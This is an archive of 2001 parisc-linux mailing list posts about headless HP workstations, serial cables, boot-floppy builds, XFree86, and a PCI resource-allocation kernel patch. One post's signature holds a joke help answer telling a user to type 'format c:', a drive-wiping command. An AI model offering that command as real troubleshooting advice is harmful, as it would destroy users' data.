Message-ID: <20010625033537.09C1D37D2C@carmen.fc.hp.com>
References: <200106241614.KAA25733@puffin.external.hp.com> <20010624121401.A1717@woot.net>  <20010625093622.A31834@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620240 21403 80.91.229.3 (22 Nov 2014 01:37:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:20 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Andrew Shugg <andrew@neep.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 24 21:32:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id EAB91482A
	for <parisc-linux@parisc-linux.org>; Sun, 24 Jun 2001 21:32:49 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 63CCC89A; Sun, 24 Jun 2001 23:32:49 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 09C1D37D2C; Sun, 24 Jun 2001 21:35:37 -0600 (MDT)
In-Reply-To: Your message of "Mon, 25 Jun 2001 09:36:27 +0800."
             <20010625093622.A31834@neep.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:11425

Andrew Shugg writes...

> For the keyboard problem, you can either find another PS2 keyboard and
> plug that in, or buy/make a PS/2 loopback connector which will
> effectively make the PS/2 port think there is a keyboard attached.

I heard an interesting story once...

A large retailer used 712s as a central server of each store. Because they
didn't want the local employees meesing with the system and the serial
console hack wasn't published at the time they used a PS/2 loopback
connector. The only other connections to the system were power and 10bt. If
the central office ever had problems connecting to the system they'd call
the local manager up and ask him to cycle the soft-power switch. If it still
didn't respond they swap the box out :)

Having soft-power under linux would be really cool, but I'm not sure what
state its in currently.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation




From - Thu Nov 08 21:18:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pete" <plaven@ozemail.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] serial cable..
Date: Mon, 25 Jun 2001 21:07:59 +1000
Lines: 33
Approved: news@gmane.org
Message-ID: <3B37A82F.19195.AD1D58@localhost>
Reply-To: plaven@ozemail.com.au
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416620241 21406 80.91.229.3 (22 Nov 2014 01:37:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 25 05:08:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta02.mail.mel.aone.net.au (mta02.mail.au.uu.net [203.2.192.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id CB0B3482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Jun 2001 05:08:46 -0600 (MDT)
Original-Received: from piglet.sspl.net.au ([210.84.112.131])
          by mta02.mail.mel.aone.net.au with ESMTP
          id <20010625110819.IKRM20969.mta02.mail.mel.aone.net.au@piglet.sspl.net.au>
          for <parisc-linux@lists.parisc-linux.org>;
          Mon, 25 Jun 2001 21:08:19 +1000
Original-Received: from winnie (winnie. [192.168.10.9])
	by piglet.sspl.net.au (8.9.3/8.9.3) with ESMTP id VAA25098
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Jun 2001 21:07:53 +1000
Priority: normal
X-mailer: Pegasus Mail for Win32 (v3.12c)
Xref: news.gmane.org gmane.linux.ports.parisc:11426

Hi everyone,

While cruising the local computer market I came across a serial 
line print cable, 9pin D connect to 25 pin D connector.. now, with 
luck a xover and genderchanger, should see this cable fit the rather 
recessed port on the 715..

Does anyone know of possible problems with using something like 
this for a "normal" serial cable use?.. nothing like a power wire or 
something like that likely to be an issue...

I appreciate this is off topic.. but it might just be over come my lack 
of serial cable that fits issue..

THanks,



Pete

==========================

Q: I'm having problems with my Windows software.  
Will you help me?

A: Yes.  Go to a DOS prompt and type "format c:".  
Any problems you are experiencing will cease 
within a few minutes.

==========================================




From - Thu Nov 08 21:18:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] boot-floppies build status
Date: Mon, 25 Jun 2001 14:43:19 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20010625144319.P14416@linuxcare.com>
References: <20010623170024.G14416@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620241 21408 80.91.229.3 (22 Nov 2014 01:37:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 25 07:42:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 20038482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Jun 2001 07:42:52 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id CBE6EB00C; Mon, 25 Jun 2001 14:43:19 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010623170024.G14416@linuxcare.com>; from rhirst@linuxcare.com on Sat, Jun 23, 2001 at 05:00:25PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:11427

On Sat, Jun 23, 2001 at 05:00:25PM +0100, Richard Hirst wrote:
> slang...  to get rid of the problems with slang.so references I had
> to
> 
> build and install slang1, slang1-dev, slang1-pic
> build and install libnewt0, libnewt-dev, libnewt-pic
> build and install whiptail
> build and install util-linux
> build nano-tiny

and tasksel is built against a bad slang1 also.

Richard





From - Thu Nov 08 21:18:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Yves Bodack" <ybodack@stud.fh-heilbronn.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] XFree86, sti bmode/wmode merge
Date: Mon, 25 Jun 2001 17:51:25 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <005d01c0fd8e$c29fcd90$1f96078d@stuwo.fhheilbronn.de>
References: <20010617155807.A6530@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620241 21411 80.91.229.3 (22 Nov 2014 01:37:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:21 +0000 (UTC)
To: "Thomas Bogendoerfer" <tsbogend@alpha.franken.de>,
	<parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 25 09:50:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dns1.rz.fh-heilbronn.de (dns1.rz.fh-heilbronn.de [141.7.1.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id C29F8482A
	for <parisc-linux@parisc-linux.org>; Mon, 25 Jun 2001 09:50:07 -0600 (MDT)
Original-Received: from lara.stud.fh-heilbronn.de (lara.stud.fh-heilbronn.de [141.7.11.12])
	by dns1.rz.fh-heilbronn.de (8.9.3/8.9.3) with ESMTP id RAA10810;
	Mon, 25 Jun 2001 17:50:05 +0200 (MET DST)
Original-Received: from acid (acid.stuwo.fh-heilbronn.de [141.7.150.31])
	by lara.stud.fh-heilbronn.de (8.9.3/8.9.3) with SMTP id RAA20381;
	Mon, 25 Jun 2001 17:50:04 +0200
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Xref: news.gmane.org gmane.linux.ports.parisc:11428

Hi Thomas,

> I've greped the mailinglist archive, and didn't find anything, that
someone
> tried the Xfree86 server on parisc. So I did it and to my great surprise
> it worked out of the box with stifb (ok, I had to tweak XF86Config a
little
> bit). Right now the gecko (712/80) to my right display a more of less
> ugly Xserver with two Xterms and vtwm as window manager. That's pretty
> cool.

I was just trying to set up an xserver on my 712/60, but i'm not too
experienced in these things and failed. Could you give me some hints on what
you have installed and what the tweaking was, you did? Or may be, there is a
web ressource i havn't found yet.

Greetings,
Yves...





From - Thu Nov 08 21:18:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ivan Kokshaysky <ink@jurassic.park.msu.ru>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] 2.4.4 PCI FBB
Date: Mon, 25 Jun 2001 19:49:41 +0400
Lines: 493
Approved: news@gmane.org
Message-ID: <20010625194941.A18426@jurassic.park.msu.ru>
References: <20010618231144.A5077@jurassic.park.msu.ru> <200106232033.OAA15401@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620242 21416 80.91.229.3 (22 Nov 2014 01:37:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:22 +0000 (UTC)
Cc: jgarzik@mandrakesoft.com, linux-kernel@vger.kernel.org,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 25 09:51:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from jurassic.park.msu.ru (jurassic.park.msu.ru [195.208.223.243])
	by dsl2.external.hp.com (Postfix) with ESMTP id CA600482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Jun 2001 09:51:06 -0600 (MDT)
Original-Received: (from ink@localhost)
	by jurassic.park.msu.ru (8.11.0/8.11.0) id f5PFngx24178;
	Mon, 25 Jun 2001 19:49:42 +0400
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200106232033.OAA15401@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Sat, Jun 23, 2001 at 02:33:54PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:11429

On Sat, Jun 23, 2001 at 02:33:54PM -0600, Grant Grundler wrote:
> Ivan,
> I just got back to reading my mail....offline for three days
> in switzerland.

I've been offline for last few days, too...

> > I also have some PCI fixes/cleanups for your review)...
> 
> ok. I look forward to them...they are probably deeper in my mail queue.

No, sorry. I would like to integrate your FBB stuff, but had no time yet...
Anyway, here is a patch (not for inclusion! :-). It applies cleanly to
2.4.6-pre5 (or to 2.4.5 with offsets) and was reasonably well tested
on my alphas.
Changes:
- bus resources were not added to the resource tree properly. This bug is
  harmless in most configurations, but could be triggered by some driver
  requesting resources in the run-time.
- as you proposed a while back, code from arch-specific pcibios_fixup_bus() is
  now moved to generic pbus_assign_resources(). Hopefully this makes PPB code
  a bit cleaner.
- on the contrary, code disabling pci devices before reallocation is now
  arch-specific, as various platforms may have different console devices.
  pdev_enable_device() killed thus. On alpha I renamed it to
  pcibios_postalloc_fixup().
- pcibios_set_bridge_ctl() introduced, but this likely has to be
  changed/renamed for FBB support.
These changes currently are only for alpha and would break ARM...

Some thoughts of your patch:
- I'm not sure that we need a new field in the struct pci_bus --
  we have plenty of room in the bridge/bus->resource[N]->flags (I used
  it for IORESOURCE_BUS_HAS_VGA, same could be done for, say,
  IORESOURCE_BUS_FBB etc.)?
- it seems that pcibios_init_bus() will be actually called *before*
  pci_setup_bridge(), at least on alpha. So initializing the FBB bit
  should be done in pcibios_init_bus().

Ivan.

--- 2.4.6/include/linux/pci.h	Thu Jun 14 14:10:34 2001
+++ linux/include/linux/pci.h	Thu Jun 14 14:12:12 2001
@@ -501,6 +501,7 @@ void pcibios_update_resource(struct pci_
 			     struct resource *, int);
 void pcibios_update_irq(struct pci_dev *, int irq);
 void pcibios_fixup_pbus_ranges(struct pci_bus *, struct pbus_set_ranges_data *);
+void pcibios_set_bridge_ctl(struct pci_dev *);
 
 /* Backward compatibility, don't use in new code! */
 
@@ -571,9 +572,7 @@ int pci_enable_wake(struct pci_dev *dev,
 
 int pci_claim_resource(struct pci_dev *, int);
 void pci_assign_unassigned_resources(void);
-void pdev_enable_device(struct pci_dev *);
 void pdev_sort_resources(struct pci_dev *, struct resource_list *, u32);
-unsigned long pci_bridge_check_io(struct pci_dev *);
 void pci_fixup_irqs(u8 (*)(struct pci_dev *, u8 *),
 		    int (*)(struct pci_dev *, u8, u8));
 #define HAVE_PCI_REQ_REGIONS
--- 2.4.6/drivers/pci/setup-bus.c	Sun May 20 04:43:06 2001
+++ linux/drivers/pci/setup-bus.c	Thu Jun 14 14:12:12 2001
@@ -12,6 +12,12 @@
 /*
  * Nov 2000, Ivan Kokshaysky <ink@jurassic.park.msu.ru>
  *	     PCI-PCI bridges cleanup, sorted resource allocation
+ *
+ * NOTE: during reallocation we may have temporarily overlapping
+ * IO or MEM ranges, so the arch code (pcibios_fixup_bus()) is
+ * responsible for disabling all devices, probably except console
+ * (VGA, serial etc.) and bridges the console device might be
+ * behind -- typically AGP or PCI-(E)ISA bridges.
  */
 
 #include <linux/init.h>
@@ -23,7 +29,7 @@
 #include <linux/slab.h>
 
 
-#define DEBUG_CONFIG 1
+#define DEBUG_CONFIG 0
 #if DEBUG_CONFIG
 # define DBGC(args)     printk args
 #else
@@ -46,23 +52,10 @@ pbus_assign_resources_sorted(struct pci_
 	for (ln=bus->devices.next; ln != &bus->devices; ln=ln->next) {
 		struct pci_dev *dev = pci_dev_b(ln);
 		u16 class = dev->class >> 8;
-		u16 cmd;
 
-		/* First, disable the device to avoid side
-		   effects of possibly overlapping I/O and
-		   memory ranges.
-		   Leave VGA enabled - for obvious reason. :-)
-		   Same with all sorts of bridges - they may
-		   have VGA behind them.  */
 		if (class == PCI_CLASS_DISPLAY_VGA
 				|| class == PCI_CLASS_NOT_DEFINED_VGA)
 			found_vga = 1;
-		else if (class >> 8 != PCI_BASE_CLASS_BRIDGE) {
-			pci_read_config_word(dev, PCI_COMMAND, &cmd);
-			cmd &= ~(PCI_COMMAND_IO | PCI_COMMAND_MEMORY
-						| PCI_COMMAND_MASTER);
-			pci_write_config_word(dev, PCI_COMMAND, cmd);
-		}
 
 		/* Reserve some resources for CardBus.
 		   Are these values reasonable? */
@@ -160,15 +153,31 @@ pci_setup_bridge(struct pci_bus *bus)
 	l |= ranges.mem_end & 0xfff00000;
 	pci_write_config_dword(bridge, PCI_MEMORY_BASE, l);
 
-	/* Set up PREF base/limit. */
-	l = (bus->resource[2]->start >> 16) & 0xfff0;
-	l |= bus->resource[2]->end & 0xfff00000;
-	pci_write_config_dword(bridge, PCI_PREF_MEMORY_BASE, l);
-
-	/* Check if we have VGA behind the bridge.
-	   Enable ISA in either case. */
-	l = (bus->resource[0]->flags & IORESOURCE_BUS_HAS_VGA) ? 0x0c : 0x04;
-	pci_write_config_word(bridge, PCI_BRIDGE_CONTROL, l);
+	/* Disable PREF memory range. */
+	pci_write_config_dword(bridge, PCI_PREF_MEMORY_BASE, 0x0000fff0);
+
+	pcibios_set_bridge_ctl(bridge);
+}
+
+/* Check whether the bridge supports I/O forwarding.
+   If not, its I/O base/limit register must be
+   read-only and read as 0. */
+static unsigned long __init
+pci_bridge_check_io(struct pci_dev *bridge)
+{
+	u16 io;
+
+	pci_read_config_word(bridge, PCI_IO_BASE, &io);
+	if (!io) {
+		pci_write_config_word(bridge, PCI_IO_BASE, 0xf0f0);
+		pci_read_config_word(bridge, PCI_IO_BASE, &io);
+		pci_write_config_word(bridge, PCI_IO_BASE, 0x0);
+	}
+	if (io)
+		return IORESOURCE_IO;
+	printk(KERN_WARNING "PCI: bridge %s does not support I/O forwarding!\n",
+				bridge->name);
+	return 0;
 }
 
 static void __init
@@ -181,26 +190,47 @@ pbus_assign_resources(struct pci_bus *bu
 		struct pci_bus *b;
 
 		ranges->found_vga = 1;
-		/* Propogate presence of the VGA to upstream bridges */
-		for (b = bus; b->parent; b = b->parent) {
-#if 0
-			/* ? Do we actually need to enable PF memory? */
-			b->resource[2]->start = 0;
-#endif
+		/* Propagate presence of the VGA to upstream bridges */
+		for (b = bus; b->parent; b = b->parent)
 			b->resource[0]->flags |= IORESOURCE_BUS_HAS_VGA;
-		}
 	}
 	for (ln=bus->children.next; ln != &bus->children; ln=ln->next) {
 		struct pci_bus *b = pci_bus_b(ln);
+		struct pci_dev *bridge = b->self;
+		int i;
 
+		/* Link bus resources to the bridge ones.  */
+		for(i=0; i<3; i++) {
+			b->resource[i] =
+				&bridge->resource[PCI_BRIDGE_RESOURCES+i];
+			b->resource[i]->name = bus->name;
+		}
+		b->resource[0]->flags |= pci_bridge_check_io(bridge);
+		b->resource[1]->flags |= IORESOURCE_MEM;
 		b->resource[0]->start = ranges->io_start = ranges->io_end;
 		b->resource[1]->start = ranges->mem_start = ranges->mem_end;
 
+		/* For now, set IO and MEM limits of this bus
+		   same as limits of its parent bus. */
+		b->resource[0]->end = bus->resource[0]->end;
+		b->resource[1]->end = bus->resource[1]->end;
+
 		pbus_assign_resources(b, ranges);
 
+		/* Adjust bus limits. */
 		b->resource[0]->end = ranges->io_end - 1;
 		b->resource[1]->end = ranges->mem_end - 1;
 
+		/* Add bridge resources to the resource tree. */
+		if (b->resource[0]->end > b->resource[0]->start &&
+		    request_resource(bus->resource[0], b->resource[0]) < 0)
+			printk(KERN_ERR "PCI: failed to request IO "
+					"for bus %d\n",	b->number);
+		if (b->resource[1]->end > b->resource[1]->start &&
+		    request_resource(bus->resource[0], b->resource[0]) < 0)
+			printk(KERN_ERR "PCI: failed to request MEM "
+					"for bus %d\n", b->number);
+
 		pci_setup_bridge(b);
 	}
 }
@@ -210,7 +240,6 @@ pci_assign_unassigned_resources(void)
 {
 	struct pbus_set_ranges_data ranges;
 	struct list_head *ln;
-	struct pci_dev *dev;
 
 	for(ln=pci_root_buses.next; ln != &pci_root_buses; ln=ln->next) {
 		struct pci_bus *b = pci_bus_b(ln);
@@ -222,28 +251,4 @@ pci_assign_unassigned_resources(void)
 		ranges.found_vga = 0;
 		pbus_assign_resources(b, &ranges);
 	}
-	pci_for_each_dev(dev) {
-		pdev_enable_device(dev);
-	}
-}
-
-/* Check whether the bridge supports I/O forwarding.
-   If not, its I/O base/limit register must be
-   read-only and read as 0. */
-unsigned long __init
-pci_bridge_check_io(struct pci_dev *bridge)
-{
-	u16 io;
-
-	pci_read_config_word(bridge, PCI_IO_BASE, &io);
-	if (!io) {
-		pci_write_config_word(bridge, PCI_IO_BASE, 0xf0f0);
-		pci_read_config_word(bridge, PCI_IO_BASE, &io);
-		pci_write_config_word(bridge, PCI_IO_BASE, 0x0);
-	}
-	if (io)
-		return IORESOURCE_IO;
-	printk(KERN_WARNING "PCI: bridge %s does not support I/O forwarding!\n",
-				bridge->name);
-	return 0;
 }
--- 2.4.6/drivers/pci/setup-res.c	Sun May 20 04:43:06 2001
+++ linux/drivers/pci/setup-res.c	Thu Jun 14 14:12:12 2001
@@ -25,7 +25,7 @@
 #include <linux/slab.h>
 
 
-#define DEBUG_CONFIG 1
+#define DEBUG_CONFIG 0
 #if DEBUG_CONFIG
 # define DBGC(args)     printk args
 #else
@@ -176,59 +176,4 @@ pdev_sort_resources(struct pci_dev *dev,
 			}
 		}
 	}
-}
-
-void __init
-pdev_enable_device(struct pci_dev *dev)
-{
-	u32 reg;
-	u16 cmd;
-	int i;
-
-	DBGC((KERN_ERR "PCI enable device: (%s)\n", dev->name));
-
-	pci_read_config_word(dev, PCI_COMMAND, &cmd);
-
-	for (i = 0; i < PCI_NUM_RESOURCES; i++) {
-		struct resource *res = &dev->resource[i];
-
-		if (res->flags & IORESOURCE_IO)
-			cmd |= PCI_COMMAND_IO;
-		else if (res->flags & IORESOURCE_MEM)
-			cmd |= PCI_COMMAND_MEMORY;
-	}
-
-	/* Special case, disable the ROM.  Several devices act funny
-	   (ie. do not respond to memory space writes) when it is left
-	   enabled.  A good example are QlogicISP adapters.  */
-
-	if (dev->rom_base_reg) {
-		pci_read_config_dword(dev, dev->rom_base_reg, &reg);
-		reg &= ~PCI_ROM_ADDRESS_ENABLE;
-		pci_write_config_dword(dev, dev->rom_base_reg, reg);
-		dev->resource[PCI_ROM_RESOURCE].flags &= ~PCI_ROM_ADDRESS_ENABLE;
-	}
-
-	/* All of these (may) have I/O scattered all around and may not
-	   use I/O base address registers at all.  So we just have to
-	   always enable IO to these devices.  */
-	if ((dev->class >> 8) == PCI_CLASS_NOT_DEFINED
-	    || (dev->class >> 8) == PCI_CLASS_NOT_DEFINED_VGA
-	    || (dev->class >> 8) == PCI_CLASS_STORAGE_IDE
-	    || (dev->class >> 16) == PCI_BASE_CLASS_DISPLAY) {
-		cmd |= PCI_COMMAND_IO;
-	}
-
-	/* ??? Always turn on bus mastering.  If the device doesn't support
-	   it, the bit will go into the bucket. */
-	cmd |= PCI_COMMAND_MASTER;
-
-	/* Set the cache line and default latency (32).  */
-	pci_write_config_word(dev, PCI_CACHE_LINE_SIZE,
-			(32 << 8) | (L1_CACHE_BYTES / sizeof(u32)));
-
-	/* Enable the appropriate bits in the PCI command register.  */
-	pci_write_config_word(dev, PCI_COMMAND, cmd);
-
-	DBGC((KERN_ERR "  cmd reg 0x%x\n", cmd));
 }
--- 2.4.6/arch/alpha/kernel/pci.c	Tue May 22 00:38:41 2001
+++ linux/arch/alpha/kernel/pci.c	Thu Jun 14 14:12:13 2001
@@ -24,6 +24,12 @@
 #include "proto.h"
 #include "pci_impl.h"
 
+#define DEBUG_CONFIG 0
+#if DEBUG_CONFIG
+# define DBGC(args)     printk args
+#else
+# define DBGC(args)
+#endif
 
 /*
  * Some string constants used by the various core logics. 
@@ -148,10 +154,8 @@ pcibios_align_resource(void *data, struc
 		/*
 		 * Put everything into 0x00-0xff region modulo 0x400
 		 */
-		if (start & 0x300) {
+		if (start & 0x300)
 			start = (start + 0x3ff) & ~0x3ff;
-			res->start = start;
-		}
 	}
 	else if	(res->flags & IORESOURCE_MEM) {
 		/* Make sure we start at our min on all hoses */
@@ -242,7 +246,7 @@ pcibios_fixup_device_resources(struct pc
 void __init
 pcibios_fixup_bus(struct pci_bus *bus)
 {
-	/* Propogate hose info into the subordinate devices.  */
+	/* Propagate hose info into the subordinate devices.  */
 
 	struct pci_controller *hose = bus->sysdata;
 	struct list_head *ln;
@@ -252,30 +256,27 @@ pcibios_fixup_bus(struct pci_bus *bus)
 		/* Root bus */
 		bus->resource[0] = hose->io_space;
 		bus->resource[1] = hose->mem_space;
-	} else {
-		/* This is a bridge. Do not care how it's initialized,
-		   just link its resources to the bus ones */
-		int i;
-
-		for(i=0; i<3; i++) {
-			bus->resource[i] =
-				&dev->resource[PCI_BRIDGE_RESOURCES+i];
-			bus->resource[i]->name = bus->name;
-		}
-		bus->resource[0]->flags |= pci_bridge_check_io(dev);
-		bus->resource[1]->flags |= IORESOURCE_MEM;
-		/* For now, propogate hose limits to the bus;
-		   we'll adjust them later. */
-		bus->resource[0]->end = hose->io_space->end;
-		bus->resource[1]->end = hose->mem_space->end;
-		/* Turn off downstream PF memory address range by default */
-		bus->resource[2]->start = 1024*1024;
-		bus->resource[2]->end = bus->resource[2]->start - 1;
 	}
-
 	for (ln = bus->devices.next; ln != &bus->devices; ln = ln->next) {
 		struct pci_dev *dev = pci_dev_b(ln);
-		if ((dev->class >> 8) != PCI_CLASS_BRIDGE_PCI)
+		u16 class = dev->class >> 8;
+		u16 cmd;
+
+		/* First, disable the device to avoid side
+		   effects of possibly overlapping I/O and
+		   memory ranges.
+		   Leave VGA enabled - for obvious reason. :-)
+		   Same with all sorts of bridges - they may
+		   have VGA behind them.  */
+		if (class != PCI_CLASS_DISPLAY_VGA &&
+		    class != PCI_CLASS_NOT_DEFINED_VGA &&
+		    class >> 8 != PCI_BASE_CLASS_BRIDGE) {
+			pci_read_config_word(dev, PCI_COMMAND, &cmd);
+			cmd &= ~(PCI_COMMAND_IO | PCI_COMMAND_MEMORY
+						| PCI_COMMAND_MASTER);
+			pci_write_config_word(dev, PCI_COMMAND, cmd);
+		}
+		if (class != PCI_CLASS_BRIDGE_PCI)
 			pcibios_fixup_device_resources(dev, bus);
 	}
 }
@@ -381,10 +382,81 @@ pcibios_set_master(struct pci_dev *dev)
 }
 
 void __init
+pcibios_set_bridge_ctl(struct pci_dev *bridge)
+{
+	u32 l;
+
+	/* Set default latency (32) for the secondary bus.  */
+	pci_write_config_byte(bridge, PCI_SEC_LATENCY_TIMER, 32);
+
+	/* Check if we have VGA behind the bridge.
+	   Enable ISA in either case. */
+	l = (bridge->resource[PCI_BRIDGE_RESOURCES + 0].flags &
+				IORESOURCE_BUS_HAS_VGA) ? 0x0c : 0x04;
+	pci_write_config_word(bridge, PCI_BRIDGE_CONTROL, l);
+}
+
+static void __init
+pcibios_postalloc_fixup(struct pci_dev *dev)
+{
+	u32 reg;
+	u16 cmd;
+	int i;
+
+	DBGC((KERN_INFO "PCI enable device: (%s)\n", dev->name));
+
+	pci_read_config_word(dev, PCI_COMMAND, &cmd);
+
+	for (i = 0; i < PCI_NUM_RESOURCES; i++) {
+		struct resource *res = &dev->resource[i];
+
+		if (res->flags & IORESOURCE_IO)
+			cmd |= PCI_COMMAND_IO;
+		else if (res->flags & IORESOURCE_MEM)
+			cmd |= PCI_COMMAND_MEMORY;
+	}
+
+	/* Special case, disable the ROM.  Several devices act funny
+	   (ie. do not respond to memory space writes) when it is left
+	   enabled.  A good example are QlogicISP adapters.  */
+
+	if (dev->rom_base_reg) {
+		pci_read_config_dword(dev, dev->rom_base_reg, &reg);
+		reg &= ~PCI_ROM_ADDRESS_ENABLE;
+		pci_write_config_dword(dev, dev->rom_base_reg, reg);
+		dev->resource[PCI_ROM_RESOURCE].flags &= ~PCI_ROM_ADDRESS_ENABLE;
+	}
+
+	/* All of these (may) have I/O scattered all around and may not
+	   use I/O base address registers at all.  So we just have to
+	   always enable IO to these devices.  */
+	if ((dev->class >> 8) == PCI_CLASS_NOT_DEFINED
+	    || (dev->class >> 8) == PCI_CLASS_NOT_DEFINED_VGA
+	    || (dev->class >> 8) == PCI_CLASS_STORAGE_IDE
+	    || (dev->class >> 16) == PCI_BASE_CLASS_DISPLAY) {
+		cmd |= PCI_COMMAND_IO;
+	}
+
+	/* ??? Always turn on bus mastering.  If the device doesn't support
+	   it, the bit will go into the bucket. */
+	cmd |= PCI_COMMAND_MASTER;
+
+	/* Set the cache line and default latency (32).  */
+	pci_write_config_word(dev, PCI_CACHE_LINE_SIZE,
+			(32 << 8) | (L1_CACHE_BYTES / sizeof(u32)));
+
+	/* Enable the appropriate bits in the PCI command register.  */
+	pci_write_config_word(dev, PCI_COMMAND, cmd);
+
+	DBGC((KERN_INFO "  cmd reg 0x%x\n", cmd));
+}
+
+void __init
 common_init_pci(void)
 {
 	struct pci_controller *hose;
 	struct pci_bus *bus;
+	struct pci_dev *dev;
 	int next_busno;
 
 	/* Scan all of the recorded PCI controllers.  */
@@ -398,6 +470,9 @@ common_init_pci(void)
 	}
 
 	pci_assign_unassigned_resources();
+	pci_for_each_dev(dev) {
+		pcibios_postalloc_fixup(dev);
+	}
 	pci_fixup_irqs(alpha_mv.pci_swizzle, alpha_mv.pci_map_irq);
 }
 




From - Thu Nov 08 21:18:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Headless workstation?
Date: Mon, 25 Jun 2001 10:14:19 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <200106251614.KAA04210@puffin.external.hp.com>
References: <20010625033537.09C1D37D2C@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620242 21418 80.91.229.3 (22 Nov 2014 01:37:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 25 10:15:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
